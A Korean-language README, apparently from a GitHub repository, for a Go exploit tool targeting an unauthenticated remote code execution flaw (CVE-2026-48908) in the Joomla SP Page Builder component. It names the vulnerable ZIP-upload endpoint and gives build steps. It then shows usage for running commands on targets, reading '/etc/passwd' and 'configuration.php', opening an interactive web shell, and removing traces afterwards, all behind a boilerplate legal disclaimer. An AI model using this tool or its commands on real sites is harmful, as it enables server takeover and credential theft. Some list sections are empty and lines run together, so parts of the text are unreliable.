
CVE-2026-48908 - SP Page Builder Joomla 비인증 RCE
CVE-2026-48908에 대한 개념 증명(PoC) 익스플로잇으로, Joomla SP Page Builder 컴포넌트의 무인증 원격 코드 실행(RCE) 취약점입니다.
CVE-2026-48908은 SP Page Builder 컴포넌트의 ZIP 파일 추출 처리 부적절로 인해 무인증 공격자가 취약한 Joomla 설치 환경에서 임의 코드를 실행할 수 있게 하는 치명적인 보안 취약점입니다.
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon이 취약점은 아이콘 자산이 포함된 ZIP 파일을 애플리케이션이 제대로 검증하지 않고 추출하는 자산 업로드 기능에 존재합니다. 공격자는 PHP 페이로드가 포함된 악성 ZIP 파일을 제작하여 웹에서 접근 가능한 디렉터리에 추출되게 함으로써 원격 코드 실행을 가능하게 할 수 있습니다.
golang.org/x/term - 안전한 비밀번호 입력을 위한 터미널 유틸리티git clone https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
cd CVE-2026-48908-SP-Page-Builder-Joomla
go mod init CVE-2026-48908-SP-Page-Builder-Joomla
go mod download
or
go mod tidy
go build -o poc_tot poc_tot.go
컴파일된 바이너리는 릴리스 섹션에서 확인할 수 있습니다.


./poc_tot -target http://target-site.com -cmd "whoami"
./poc_tot -target http://target-site.com -shell
./poc_tot -target http://target-site.com -check
./poc_tot -target http://target-site.com -cleanup
./poc_tot -target http://target-site.com -cmd "id" -token "your_joomla_token"
-target string
Target URL of vulnerable Joomla installation (required)
Example: http://target.com or https://target.com
-cmd string
System command to execute on target
Example: "cat /etc/passwd"
-shell
Launch interactive shell on target (requires successful exploitation)
-check
Check if target is vulnerable without attempting exploitation
-cleanup
Remove uploaded shell and artifacts from target
-token string
CSRF token for exploitation (optional, auto-detected if not provided)
이 도구는 여러 익스플로잇 벡터를 지원합니다:
./poc_tot -target http://vulnerable.local -check
./poc_tot -target http://vulnerable.local -cmd "ls -la /var/www/html"
./poc_tot -target http://vulnerable.local -cmd "cat configuration.php"
./poc_tot -target http://vulnerable.local -shell
# In shell:
> id
> whoami
> pwd
./poc_tot -target http://vulnerable.local -cleanup
SP Page Builder 컴포넌트가 포함된 Joomla를 운영 중이라면 다음을 수행하세요:
이 소프트웨어는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구로 인한 오용 또는 피해에 대해 책임을 지지 않습니다. 사용자는 이 도구를 대상 시스템에 사용하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다.
이 도구를 사용함으로써 귀하는 다음 사항에 동의합니다:
이 도구는 방어적 보안 연구 및 공인된 침투 테스트 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 접근은 컴퓨터 사기 및 남용 법안(Computer Fraud and Abuse Act) 및 다른 국가의 유사 법률을 위반합니다. 보안 테스트를 수행하기 전에 항상 서면으로 적절한 승인을 받으십시오.
index.php?option=com_installer&view=manage보안 연구 기여를 환영합니다. 다음 사항을 준수해 주세요:
GhostGTR666 (Gagaltotal666)
문제, 질문 또는 기여 사항이 있는 경우:
이 프로젝트는 보안 연구 목적으로 있는 그대로 제공됩니다. 사용 전에 보안 도구 및 침투 테스트에 관한 현지 법률을 검토하세요.
최종 업데이트: 2026-06-24
면책 조항: 이 도구는 공인된 보안 테스트 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.